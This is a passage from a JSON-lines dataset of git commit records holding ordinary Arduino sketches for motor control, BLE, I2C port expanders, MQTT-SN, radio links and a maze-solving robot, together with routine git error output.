stepper2.runToNewPosition(19200);\n stepper3.runToNewPosition(-9600);\n stepper4.runToNewPosition(19200);\n stepper1.setCurrentPosition(0);\n stepper2.setCurrentPosition(0);\n stepper3.setCurrentPosition(0);\n stepper4.setCurrentPosition(0);\n delay(2000);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'code\/arduino\/_1rev\/_1rev.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"959fbb6ff6bfc081d25cb51e57231a91c0e19e67","subject":"Updated PID values","message":"Updated PID values\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"2da8253e2ffe1448183e1e01bd3d9aa3c6db7b74","subject":"Add RedBearLab BLE Mini module","message":"Add RedBearLab BLE Mini module\n","repos":"ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library","old_file":"examples\/Boards_BLE\/RedBearLab_BLE_Mini\/RedBearLab_BLE_Mini.ino","new_file":"examples\/Boards_BLE\/RedBearLab_BLE_Mini\/RedBearLab_BLE_Mini.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n *\n * This example shows how to use Arduino + RedBearLab BLE Mini\n * to connect your project to Blynk.\n *\n * NOTE: BLE support is in beta!\n *\n **************************************************************\/\n\n\/\/#define BLYNK_DEBUG\n#define BLYNK_PRINT Serial\n\n#define BLYNK_USE_DIRECT_CONNECT\n\n#include <BlynkSimpleSerialBLE.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\n#define SerialBLE Serial1 \/\/ Set Serial object\n\nvoid setup()\n{\n \/\/ This is for debug prints\n Serial.begin(9600);\n\n SerialBLE.begin(57600); \/\/ BLE Mini uses baud 57600\n Blynk.begin(auth, SerialBLE);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Boards_BLE\/RedBearLab_BLE_Mini\/RedBearLab_BLE_Mini.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"54e6b6b0d70e23878a94f663af4588060207daf7","subject":"MCP23017 16 Pin Port Expander over I2C: Example project added","message":"MCP23017 16 Pin Port Expander over I2C: Example project added\n","repos":"andre-lehnert\/arduino-projects,andre-lehnert\/arduino-projects,andre-lehnert\/arduino-projects,andre-lehnert\/arduino-projects,andre-lehnert\/arduino-projects","old_file":"portexpander-MCP23017-ESP_Blink\/MCP23017-ESP-PortExpander-Blink.ino","new_file":"portexpander-MCP23017-ESP_Blink\/MCP23017-ESP-PortExpander-Blink.ino","new_contents":"#include <Wire.h>\n#include \"Adafruit_MCP23017.h\"\n\n\/\/ Basic pin reading and pullup test for the MCP23017 I\/O expander\n\/\/ public domain!\n\n\/\/ Connect pin #12 of the expander to Analog 5 (i2c clock)\n\/\/ Connect pin #13 of the expander to Analog 4 (i2c data)\n\/\/ Connect pins #15, 16 and 17 of the expander to ground (address selection)\n\/\/ Connect pin #9 of the expander to 5V (power)\n\/\/ Connect pin #10 of the expander to ground (common ground)\n\/\/ Connect pin #18 through a ~10kohm resistor to 5V (reset pin, active low)\n\n\/\/ Output #0 is on pin 21 so connect an LED or whatever from that to ground\n\nAdafruit_MCP23017 mcp;\n \nvoid setup() { \n mcp.begin(); \/\/ use default address 0\n\n mcp.pinMode(0, OUTPUT); \/\/ GPA0\n mcp.pinMode(1, OUTPUT); \/\/ GPA1\n mcp.pinMode(6, OUTPUT); \/\/ GPA6\n mcp.pinMode(7, OUTPUT); \/\/ GPA7\n \n mcp.pinMode(8, OUTPUT); \/\/ GPB0\n mcp.pinMode(9, OUTPUT); \/\/ GPB1\n mcp.pinMode(14, OUTPUT); \/\/ GPB6\n mcp.pinMode(15, OUTPUT); \/\/ GPB7\n}\n\n\n\/\/ flip the pin #0 up and down\n\nvoid loop() {\n delay(500);\n\n mcp.digitalWrite(0, HIGH);\n mcp.digitalWrite(1, HIGH);\n mcp.digitalWrite(6, HIGH);\n mcp.digitalWrite(7, HIGH);\n\n mcp.digitalWrite(8, LOW);\n mcp.digitalWrite(9, LOW);\n mcp.digitalWrite(14, LOW);\n mcp.digitalWrite(15, LOW);\n \n delay(500);\n\n mcp.digitalWrite(0, LOW);\n mcp.digitalWrite(1, LOW);\n mcp.digitalWrite(6, LOW);\n mcp.digitalWrite(7, LOW);\n\n mcp.digitalWrite(8, HIGH);\n mcp.digitalWrite(9, HIGH);\n mcp.digitalWrite(14, HIGH);\n mcp.digitalWrite(15, HIGH);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'portexpander-MCP23017-ESP_Blink\/MCP23017-ESP-PortExpander-Blink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"70a0abd0e97a4ab0f7069b5c44249f790eae5539","subject":"Add MQTT-SN over serial bridge example","message":"Add MQTT-SN over serial bridge example\n","repos":"bittailor\/BtMqttSn,bittailor\/BtMqttSn","old_file":"examples\/MqttSnOverSerialBridge\/MqttSnOverSerialBridge.ino","new_file":"examples\/MqttSnOverSerialBridge\/MqttSnOverSerialBridge.ino","new_contents":"\/*\n Basic MQTT-SN over Serial Bridge example\n (experimental) \n\n Setup:\n - Sends the MQTT-SN packages not over the nRF24L01+ Transceiver but over SoftwareSerial to a PC\n - On the PC run the Serial Port Bridge from https:\/\/github.com\/njh\/mqtt-sn-tools to forward them via TCP to a MQTT-SN Broker\n \n Function:\n - reads a string from Serial and publishes the PUBLISH_TOPIC (\"Bt\/Ex\/PubSub\/Out\") topic\n - subscribes to the SUBSCRIBE_TOPIC (\"Bt\/Ex\/PubSub\/In\") topic and writes the reiceived data to the Serial \n*\/\n\n#include <SPI.h>\n#include <BtMqttSn.h>\n#include <SoftwareSerial.h>\n\n\/\/-----\n\n#define CLIENT_NODE_ID 1\n#define GATEWAY_NODE_ID 0\n\n#define CLIENT_ID \"BtMqttPupSubExample\"\n#define PUBLISH_TOPIC \"Bt\/Ex\/PubSub\/Out\"\n#define SUBSCRIBE_TOPIC \"Bt\/Ex\/PubSub\/In\"\n\n\/\/-----\n\nclass SerialPacketSocket : public Bt::I_RfPacketSocket {\n\n public:\n SerialPacketSocket(Stream& iStream): mStream(&iStream) {\n }\n\n virtual bool send(uint8_t* iPayload, size_t iSize, uint8_t iNodeId ) {\n return mStream->write(iPayload,iSize) == iSize;\n }\n\n virtual int32_t receive(uint8_t* oPayload, size_t iMaxSize, uint8_t* oNodeId) {\n BT_LOG_DEBUG_AND_PARAMETER(\"SerialPacketSocket::receive available = \",mStream->available());\n if(mStream->available() < 1) {\n return 0; \n }\n uint8_t length = mStream->read();\n if(length == 0x01) {\n BT_LOG_DEBUG(\"Messages with length over 255 not supported\");\n \/\/ todo cleanup\/flush stream\n return 0;\n }\n if(length > iMaxSize) {\n BT_LOG_DEBUG(\"oPayload buffer too small\");\n \/\/ todo cleanup\/flush stream\n return 0; \n }\n\n *oNodeId = GATEWAY_NODE_ID;\n oPayload[0] = length;\n mStream->readBytes(oPayload+1, length-1);\n \n BT_LOG_DEBUG_AND_PARAMETER(\"SerialPacketSocket::receive return length = \", length);\n return length;\n }\n\n virtual bool available() {\n return mStream->available() > 0;\n }\n\n virtual void suspend() {\n }\n\n virtual void resume() {\n }\n\n private:\n Stream* mStream;\n};\n\n\/\/-----\n\n\/\/ Comment the next line if the board has a second hardware serial\nSoftwareSerial Serial1(10, 11);\n\nSerialPacketSocket serialPacketSocket(Serial1);\nBt::MqttSnClient client(serialPacketSocket, GATEWAY_NODE_ID, CLIENT_ID, &subscribeCallback);\n\nvoid setup() {\n while (!Serial);\n Serial.begin(9600);\n Serial1.begin(9600);\n Serial << endl << endl << endl << \"*** MQTT-SN PubSub example ***\" << endl;\n Serial << endl; \n Serial << \" - Node = \" << CLIENT_NODE_ID << endl;\n Serial << \" - Pup-Topic = \" << PUBLISH_TOPIC << endl;\n Serial << \" - Sub-Topic = \" << SUBSCRIBE_TOPIC << endl;\n Serial << \"try connect ...\" << endl;\n\n while (!client.connect(30)) {\n Serial << \"... connect failed ...\" << endl;\n delay(1000); \n Serial << \"... retry connect ...\" << endl;\n }\n \n Serial << \"... connected\" << endl;\n\n Serial << \"subscribe\" << endl;\n\n client.subscribe(SUBSCRIBE_TOPIC);\n\n Serial << \"out> <Start>\" << endl;\n\n client.publish(PUBLISH_TOPIC,\"<Start>\");\n \n}\n\nvoid loop() {\n client.loop(); \n if (Serial.available()) {\n String out = readString();\n Serial << \"out> \" << out << endl;\n client.publish(PUBLISH_TOPIC,out.c_str());\n if (out == String(\"<quit>\")) {\n quit();\n }\n }\n}\n\nvoid subscribeCallback(const char* iTopic, const char* iData) {\n Serial << \"in> \" << iData << endl; \n}\n\nString readString() {\n Serial.setTimeout(10);\n String string = Serial.readString();\n Serial.setTimeout(1000);\n return string;\n}\n\nvoid quit() {\n Serial << \"<quit>\" << endl; \n client.disconnect();\n Serial << \"Hit reboot\" << endl; \n while(true){} \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/MqttSnOverSerialBridge\/MqttSnOverSerialBridge.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"23f6ee421078a1db5a821cbc80cc5cf330539a16","subject":"First iteration of moving robot with right-hand-at-the-wall maze solving logic.","message":"First iteration of moving robot with right-hand-at-the-wall maze solving logic.\n","repos":"joonamo\/maze_robot,joonamo\/maze_robot,joonamo\/maze_robot,joonamo\/maze_robot","old_file":"maze_robot.ino","new_file":"maze_robot.ino","new_contents":"#include <Servo.h>\n\n#define STOP_BUTTON 1\n#define DOWN_BUTTON 0\n#define UP_BUTTON 2\n\n#define DIST_IN_F 19\nint dist_f = 0;\n#define DIST_IN_L 20\nint dist_l = 0;\n#define DIST_IN_R 21\nint dist_r = 0;\n\n#define MOTOR_OUT_L 17\n#define MOTOR_OUT_R 16\n\nServo wheel_left;\nint speed_left = 0;\nint left_zero = 94;\nint left_fwd_max = 130;\nint left_rw_max = 55;\nint left_mapped;\n\nServo wheel_right;\nint speed_right = 0;\nint right_zero = 93;\nint right_fwd_max = 55;\nint right_rw_max = 130;\nint right_mapped;\n\nint speed = 0;\nint dir = 0;\n\nvoid setup() {\n pinMode(13, OUTPUT);\n digitalWrite(13, HIGH);\n\n wheel_left.attach(MOTOR_OUT_L);\n wheel_right.attach(MOTOR_OUT_R);\n\n pinMode(STOP_BUTTON, INPUT_PULLUP);\n pinMode(DOWN_BUTTON, INPUT_PULLUP);\n pinMode(UP_BUTTON, INPUT_PULLUP);\n\n Serial.begin(9600);\n}\n\nvoid loop() {\n dist_f = analogRead(DIST_IN_F);\n dist_l = analogRead(DIST_IN_L);\n dist_r = analogRead(DIST_IN_R);\n dir = 0;\n dir += map(\n dist_r, 0, 300, 90, -90);\n\n dir += map(\n dist_f, 0, 300, 0, -90);\n\n\n\n left_mapped = map_speed(\n map(dir, -90, 0, 0, 100), \n left_rw_max, left_zero, left_fwd_max);\n right_mapped = map_speed(\n map(dir, 0, 90, 100, 0),\n right_rw_max, right_zero, right_fwd_max);\n\n \/\/ Serial.print(\" left: \");\n \/\/ Serial.print(left_mapped);\n \/\/ Serial.print(\" right: \");\n \/\/ Serial.println(right_mapped);\n\n wheel_right.write(right_mapped);\n wheel_left.write(left_mapped);\n\n}\n\nint map_speed(int v, int mi, int zero, int ma)\n{\n if (v < 0)\n return map(v, -100, 0, mi, zero);\n else\n return map(v, 0, 100, zero, ma);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'maze_robot.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6750421bb5b959a5725cc597de9b748bf0107f93","subject":"Receiver code for one way communication between two arduinos","message":"Receiver code for one way communication between two arduinos","repos":"laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon","old_file":"arduino\/RF_receive.ino","new_file":"arduino\/RF_receive.ino","new_contents":"#include <SPI.h> \n#include \"RF24.h\" \n\nRF24 myRadio (7, 8); \nstruct package\n{\n int id=0;\n float temperature = 0.0;\n char text[100] =\"empty\";\n};\n\nbyte addresses[][6] = {\"0\"}; \n\n\n\ntypedef struct package Package;\nPackage data;\n\nvoid setup() \n{\n Serial.begin(115200);\n delay(1000);\n\n myRadio.begin(); \n myRadio.setChannel(115); \n myRadio.setPALevel(RF24_PA_MAX);\n myRadio.setDataRate( RF24_250KBPS ) ; \n myRadio.openReadingPipe(1, addresses[0]);\n myRadio.startListening();\n}\n\n\nvoid loop() \n{\n\n if ( myRadio.available()) \n {\n while (myRadio.available())\n {\n myRadio.read( &data, sizeof(data) );\n }\n Serial.print(\"\\nPackage:\");\n Serial.print(data.id);\n Serial.print(\"\\n\");\n Serial.println(data.temperature);\n Serial.println(data.text);\n }\n\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/RF_receive.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6b39557d2113b34e0859415a4607fa0312503e30","subject":"arduino code added","message":"arduino code added\n","repos":"sontung\/pathfinder","old_file":"arduino\/rc_arduino.ino","new_file":"arduino\/rc_arduino.ino","new_contents":"String command = \"\";\nboolean minus = false;\nint PWM_array[2] = {0, 0}; \nint index = 0;\n\nvoid setup() {\n \/\/ bluetooth setup\n Serial.begin(9600);\n \n \/\/ motor channels setup\n pinMode(12, OUTPUT);\n pinMode(9, OUTPUT);\n pinMode(13, OUTPUT);\n pinMode(8, OUTPUT);\n}\n\nvoid loop() {\n read_command();\n go();\n delay(100);\n PWM_array[0] = 0;\n PWM_array[1] = 0;\n}\n\nvoid read_command() {\n while (Serial.available() > 0) {\n int c = Serial.read();\n if (isDigit(c)) {\n command += (char)c;\n } else if (c == ' ') {\n if (minus) {\n PWM_array[index] = command.toInt()*-1;\n } else {\n PWM_array[index] = command.toInt();\n }\n index += 1;\n minus = false;\n command = \"\";\n Serial.println(PWM_array[0]);\n Serial.println(PWM_array[1]);\n } else if (c == '-') {\n minus = true;\n }\n }\n index = 0;\n}\n\nvoid go() {\n \/\/ Motor channel A\n int val1 = PWM_array[0];\n if (val1 > 0) {\n digitalWrite(12, HIGH); \/\/ forward direction\n } else if (val1 == 0) { \n digitalWrite(9, HIGH);\n } else {\n digitalWrite(12, LOW); \/\/ backward direction\n }\n digitalWrite(9, LOW); \/\/ disengage brake\n analogWrite(3, val1); \/\/ speed\n \n \/\/ Motor channel B\n int val2 = PWM_array[1];\n if (val2 > 0) {\n digitalWrite(13, HIGH); \/\/ forward direction\n } else if (val1 == 0) { \n digitalWrite(8, HIGH);\n } else {\n digitalWrite(13, LOW); \/\/ backward direction\n }\n digitalWrite(8, LOW); \/\/ disengage brake\n analogWrite(11, val2); \/\/ speed \n}\n\nvoid brake() {\n digitalWrite(9, HIGH); \/\/ engage brake of channel A\n digitalWrite(8, HIGH); \/\/ engage brake of channel B\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/rc_arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"60d19a0907f62257a7bc66d6e203cf91d40a2cb5","subject":"requests coming to YunServer do not start with a slash any more","message":"requests coming to YunServer do not start with a slash any more\n","repos":"smily77\/Arduino,onovy\/Arduino,karlitxo\/Arduino,probonopd\/Arduino,andyvand\/Arduino-1,lukeWal\/Arduino,eddyst\/Arduino-SourceCode,ThoughtWorksIoTGurgaon\/Arduino,stevemarple\/Arduino-org,zenmanenergy\/Arduino,eduardocasarin\/Arduino,garci66\/Arduino,OpenDevice\/Arduino,noahchense\/Arduino-1,cscenter\/Arduino,arduino-org\/Arduino,bigjosh\/Arduino,chaveiro\/Arduino,onovy\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,bsmr-arduino\/Arduino,ntruchsess\/Arduino-1,plaintea\/esp8266-Arduino,xxxajk\/Arduino-1,mangelajo\/Arduino,NeuralSpaz\/Arduino,eggfly\/arduino,garci66\/Arduino,jmgonzalez00449\/Arduino,OpenDevice\/Arduino,noahchense\/Arduino-1,toddtreece\/esp8266-Arduino,wilhelmryan\/Arduino,leftbrainstrain\/Arduino-ESP8266,andyvand\/Arduino-1,zederson\/Arduino,ssvs111\/Arduino,danielchalef\/Arduino,nkolban\/Arduino,leftbrainstrain\/Arduino-ESP8266,steamboating\/Arduino,mboufos\/esp8266-Arduino,eggfly\/arduino,ikbelkirasan\/Arduino,tommyli2014\/Arduino,arunkuttiyara\/Arduino,lukeWal\/Arduino,stevemayhew\/Arduino,zaiexx\/Arduino,tbowmo\/Arduino,rcook\/DesignLab,eduardocasarin\/Arduino,radut\/Arduino,UDOOboard\/Arduino,onovy\/Arduino,bsmr-arduino\/Arduino,scdls\/Arduino,tomkrus007\/Arduino,jamesrob4\/Arduino,PeterVH\/Arduino,laylthe\/Arduino,lulufei\/Arduino,leftbrainstrain\/Arduino-ESP8266,eddyst\/Arduino-SourceCode,ektor5\/Arduino,PaoloP74\/Arduino,jomolinare\/Arduino,ikbelkirasan\/Arduino,benwolfe\/esp8266-Arduino,raimohanska\/Arduino,adamkh\/Arduino,eeijcea\/Arduino-1,zaiexx\/Arduino,jaehong\/Xmegaduino,kidswong999\/Arduino,NicoHood\/Arduino,EmuxEvans\/Arduino,henningpohl\/Arduino,pdNor\/Arduino,OpenDevice\/Arduino,myrtleTree33\/Arduino,niggor\/Arduino_cc,koltegirish\/Arduino,tomkrus007\/Arduino,OpenDevice\/Arduino,tbowmo\/Arduino,chaveiro\/Arduino,mboufos\/esp8266-Arduino,ikbelkirasan\/Arduino,jabezGit\/Arduino,jomolinare\/Arduino,Protoneer\/Arduino,majenkotech\/Arduino,arunkuttiyara\/Arduino,ogferreiro\/Arduino,scdls\/Arduino,henningpohl\/Arduino,gonium\/Arduino,KlaasDeNys\/Arduino,jaimemaretoli\/Arduino,mc-hamster\/esp8266-Arduino,Chris--A\/Arduino,smily77\/Arduino,nandojve\/Arduino,eggfly\/arduino,drpjk\/Arduino,stickbreaker\/Arduino,HCastano\/Arduino,koltegirish\/Arduino,jaej-dev\/Arduino,nkolban\/Arduino,benwolfe\/esp8266-Arduino,nandojve\/Arduino,Cloudino\/Arduino,wayoda\/Arduino,damellis\/Arduino,ari-analytics\/Arduino,superboonie\/Arduino,talhaburak\/Arduino,smily77\/Arduino,jamesrob4\/Arduino,mattvenn\/Arduino,rcook\/DesignLab,andrealmeidadomingues\/Arduino,karlitxo\/Arduino,jaimemaretoli\/Arduino,myrtleTree33\/Arduino,onovy\/Arduino,aichi\/Arduino-2,laylthe\/Arduino,NeuralSpaz\/Arduino,PeterVH\/Arduino,wdoganowski\/Arduino,ogahara\/Arduino,jaimemaretoli\/Arduino,henningpohl\/Arduino,myrtleTree33\/Arduino,andrealmeidadomingues\/Arduino,xxxajk\/Arduino-1,NicoHood\/Arduino,ashwin713\/Arduino,Chris--A\/Arduino,mattvenn\/Arduino,KlaasDeNys\/Arduino,Gourav2906\/Arduino,mattvenn\/Arduino,nandojve\/Arduino,zaiexx\/Arduino,mc-hamster\/esp8266-Arduino,PeterVH\/Arduino,shiitakeo\/Arduino,mc-hamster\/esp8266-Arduino,stickbreaker\/Arduino,smily77\/Arduino,garci66\/Arduino,Protoneer\/Arduino,smily77\/Arduino,ssvs111\/Arduino,paulo-raca\/ESP8266-Arduino,jabezGit\/Arduino,HCastano\/Arduino,plinioseniore\/Arduino,niggor\/Arduino_cc,benwolfe\/esp8266-Arduino,SmartArduino\/Arduino-1,pdNor\/Arduino,Chris--A\/Arduino,andyvand\/Arduino-1,tommyli2014\/Arduino,nkolban\/Arduino,Gourav2906\/Arduino,acosinwork\/Arduino,me-no-dev\/Arduino-1,jabezGit\/Arduino,bsmr-arduino\/Arduino,weera00\/Arduino,UDOOboard\/Arduino,sanyaade-iot\/Arduino-1,snargledorf\/Arduino,Cloudino\/Cloudino-Arduino-IDE,majenkotech\/Arduino,damellis\/Arduino,HCastano\/Arduino,jomolinare\/Arduino,plinioseniore\/Arduino,paulmand3l\/Arduino,jabezGit\/Arduino,drpjk\/Arduino,niggor\/Arduino_cc,ThoughtWorksIoTGurgaon\/Arduino,PeterVH\/Arduino,zederson\/Arduino,wilhelmryan\/Arduino,raimohanska\/Arduino,rcook\/DesignLab,jaehong\/Xmegaduino,ogferreiro\/Arduino,eddyst\/Arduino-SourceCode,vbextreme\/Arduino,zenmanenergy\/Arduino,wilhelmryan\/Arduino,ektor5\/Arduino,aichi\/Arduino-2,vbextreme\/Arduino,Gourav2906\/Arduino,eddyst\/Arduino-SourceCode,rcook\/DesignLab,jamesrob4\/Arduino,byran\/Arduino,toddtreece\/esp8266-Arduino,arunkuttiyara\/Arduino,fungxu\/Arduino,toddtreece\/esp8266-Arduino,Cloudino\/Arduino,ikbelkirasan\/Arduino,jaehong\/Xmegaduino,Alfredynho\/AgroSis,adafruit\/ESP8266-Arduino,stevemayhew\/Arduino,wilhelmryan\/Arduino,adamkh\/Arduino,tommyli2014\/Arduino,eduardocasarin\/Arduino,garci66\/Arduino,kidswong999\/Arduino,gurbrinder\/Arduino,ogahara\/Arduino,vbextreme\/Arduino,shiitakeo\/Arduino,gurbrinder\/Arduino,zederson\/Arduino,KlaasDeNys\/Arduino,HCastano\/Arduino,shannonshsu\/Arduino,ricklon\/Arduino,tbowmo\/Arduino,fungxu\/Arduino,ForestNymph\/Arduino_sources,scdls\/Arduino,acosinwork\/Arduino,sanyaade-iot\/Arduino-1,jaehong\/Xmegaduino,ntruchsess\/Arduino-1,mateuszdw\/Arduino,garci66\/Arduino,garci66\/Arduino,jabezGit\/Arduino,benwolfe\/esp8266-Arduino,ektor5\/Arduino,tomkrus007\/Arduino,PaoloP74\/Arduino,noahchense\/Arduino-1,gestrem\/Arduino,drpjk\/Arduino,laylthe\/Arduino,henningpohl\/Arduino,stevemarple\/Arduino-org,wayoda\/Arduino,niggor\/Arduino_cc,byran\/Arduino,tskurauskas\/Arduino,karlitxo\/Arduino,chaveiro\/Arduino,tomkrus007\/Arduino,stevemarple\/Arduino-org,plaintea\/esp8266-Arduino,me-no-dev\/Arduino-1,bsmr-arduino\/Arduino,OpenDevice\/Arduino,mattvenn\/Arduino,Alfredynho\/AgroSis,arduino-org\/Arduino,kidswong999\/Arduino,ogferreiro\/Arduino,scdls\/Arduino,ari-analytics\/Arduino,bigjosh\/Arduino,me-no-dev\/Arduino-1,niggor\/Arduino_cc,shannonshsu\/Arduino,cscenter\/Arduino,karlitxo\/Arduino,Cloudino\/Arduino,danielchalef\/Arduino,benwolfe\/esp8266-Arduino,paulo-raca\/ESP8266-Arduino,acosinwork\/Arduino,acosinwork\/Arduino,noahchense\/Arduino-1,cscenter\/Arduino,jaimemaretoli\/Arduino,spapadim\/Arduino,jmgonzalez00449\/Arduino,leftbrainstrain\/Arduino-ESP8266,mattvenn\/Arduino,NeuralSpaz\/Arduino,raimohanska\/Arduino,stickbreaker\/Arduino,arduino-org\/Arduino,danielchalef\/Arduino,superboonie\/Arduino,damellis\/Arduino,sanyaade-iot\/Arduino-1,jaimemaretoli\/Arduino,laylthe\/Arduino,ari-analytics\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,jmgonzalez00449\/Arduino,kidswong999\/Arduino,ogahara\/Arduino,gonium\/Arduino,EmuxEvans\/Arduino,wdoganowski\/Arduino,lukeWal\/Arduino,zenmanenergy\/Arduino,tomkrus007\/Arduino,noahchense\/Arduino-1,fungxu\/Arduino,ntruchsess\/Arduino-1,koltegirish\/Arduino,eggfly\/arduino,drpjk\/Arduino,tskurauskas\/Arduino,NicoHood\/Arduino,adafruit\/ESP8266-Arduino,lulufei\/Arduino,stevemarple\/Arduino-org,jaej-dev\/Arduino,stevemayhew\/Arduino,eeijcea\/Arduino-1,piersoft\/esp8266-Arduino,tomkrus007\/Arduino,laylthe\/Arduino,steamboating\/Arduino,Chris--A\/Arduino,ntruchsess\/Arduino-1,tannewt\/Arduino,HCastano\/Arduino,Cloudino\/Arduino,talhaburak\/Arduino,ashwin713\/Arduino,chaveiro\/Arduino,smily77\/Arduino,arduino-org\/Arduino,henningpohl\/Arduino,mangelajo\/Arduino,KlaasDeNys\/Arduino,mangelajo\/Arduino,arduino-org\/Arduino,ashwin713\/Arduino,NaSymbol\/Arduino,HCastano\/Arduino,adafruit\/ESP8266-Arduino,ashwin713\/Arduino,weera00\/Arduino,Alfredynho\/AgroSis,PaoloP74\/Arduino,shiitakeo\/Arduino,gonium\/Arduino,jamesrob4\/Arduino,wdoganowski\/Arduino,PaoloP74\/Arduino,arunkuttiyara\/Arduino,ssvs111\/Arduino,tannewt\/Arduino,gberl001\/Arduino,UDOOboard\/Arduino,nkolban\/Arduino,piersoft\/esp8266-Arduino,OpenDevice\/Arduino,ektor5\/Arduino,damellis\/Arduino,eeijcea\/Arduino-1,gurbrinder\/Arduino,raimohanska\/Arduino,tbowmo\/Arduino,gberl001\/Arduino,lulufei\/Arduino,shannonshsu\/Arduino,ashwin713\/Arduino,KlaasDeNys\/Arduino,radut\/Arduino,shannonshsu\/Arduino,zederson\/Arduino,gonium\/Arduino,danielchalef\/Arduino,Chris--A\/Arduino,majenkotech\/Arduino,weera00\/Arduino,gestrem\/Arduino,andrealmeidadomingues\/Arduino,xxxajk\/Arduino-1,karlitxo\/Arduino,tbowmo\/Arduino,tbowmo\/Arduino,stevemarple\/Arduino-org,ricklon\/Arduino,Cloudino\/Cloudino-Arduino-IDE,jaehong\/Xmegaduino,me-no-dev\/Arduino-1,lulufei\/Arduino,eggfly\/arduino,spapadim\/Arduino,plinioseniore\/Arduino,Cloudino\/Arduino,zaiexx\/Arduino,PaoloP74\/Arduino,gberl001\/Arduino,me-no-dev\/Arduino-1,tbowmo\/Arduino,mangelajo\/Arduino,ntruchsess\/Arduino-1,gberl001\/Arduino,gonium\/Arduino,paulmand3l\/Arduino,bigjosh\/Arduino,ikbelkirasan\/Arduino,arduino-org\/Arduino,adafruit\/ESP8266-Arduino,eduardocasarin\/Arduino,ForestNymph\/Arduino_sources,aichi\/Arduino-2,kidswong999\/Arduino,andyvand\/Arduino-1,onovy\/Arduino,wayoda\/Arduino,Protoneer\/Arduino,Gourav2906\/Arduino,jaej-dev\/Arduino,nandojve\/Arduino,talhaburak\/Arduino,jamesrob4\/Arduino,ssvs111\/Arduino,ogferreiro\/Arduino,wdoganowski\/Arduino,chaveiro\/Arduino,cscenter\/Arduino,vbextreme\/Arduino,HCastano\/Arduino,NeuralSpaz\/Arduino,shannonshsu\/Arduino,jamesrob4\/Arduino,steamboating\/Arduino,Protoneer\/Arduino,Gourav2906\/Arduino,SmartArduino\/Arduino-1,andyvand\/Arduino-1,cscenter\/Arduino,adamkh\/Arduino,jaej-dev\/Arduino,ccoenen\/Arduino,UDOOboard\/Arduino,aichi\/Arduino-2,adamkh\/Arduino,snargledorf\/Arduino,zederson\/Arduino,wayoda\/Arduino,shannonshsu\/Arduino,radut\/Arduino,paulmand3l\/Arduino,NaSymbol\/Arduino,gonium\/Arduino,adamkh\/Arduino,gestrem\/Arduino,mattvenn\/Arduino,ccoenen\/Arduino,cscenter\/Arduino,lukeWal\/Arduino,ogferreiro\/Arduino,arunkuttiyara\/Arduino,eeijcea\/Arduino-1,byran\/Arduino,EmuxEvans\/Arduino,stevemarple\/Arduino-org,Alfredynho\/AgroSis,cscenter\/Arduino,adafruit\/ESP8266-Arduino,lukeWal\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,paulmand3l\/Arduino,bigjosh\/Arduino,ashwin713\/Arduino,mboufos\/esp8266-Arduino,ssvs111\/Arduino,danielchalef\/Arduino,jabezGit\/Arduino,vbextreme\/Arduino,mc-hamster\/esp8266-Arduino,koltegirish\/Arduino,ntruchsess\/Arduino-1,xxxajk\/Arduino-1,andrealmeidadomingues\/Arduino,ikbelkirasan\/Arduino,piersoft\/esp8266-Arduino,paulo-raca\/ESP8266-Arduino,PaoloP74\/Arduino,Cloudino\/Cloudino-Arduino-IDE,ari-analytics\/Arduino,jabezGit\/Arduino,leftbrainstrain\/Arduino-ESP8266,adafruit\/ESP8266-Arduino,Cloudino\/Arduino,sanyaade-iot\/Arduino-1,gonium\/Arduino,tskurauskas\/Arduino,jmgonzalez00449\/Arduino,radut\/Arduino,Chris--A\/Arduino,niggor\/Arduino_cc,shiitakeo\/Arduino,NaSymbol\/Arduino,talhaburak\/Arduino,PeterVH\/Arduino,byran\/Arduino,xxxajk\/Arduino-1,nandojve\/Arduino,talhaburak\/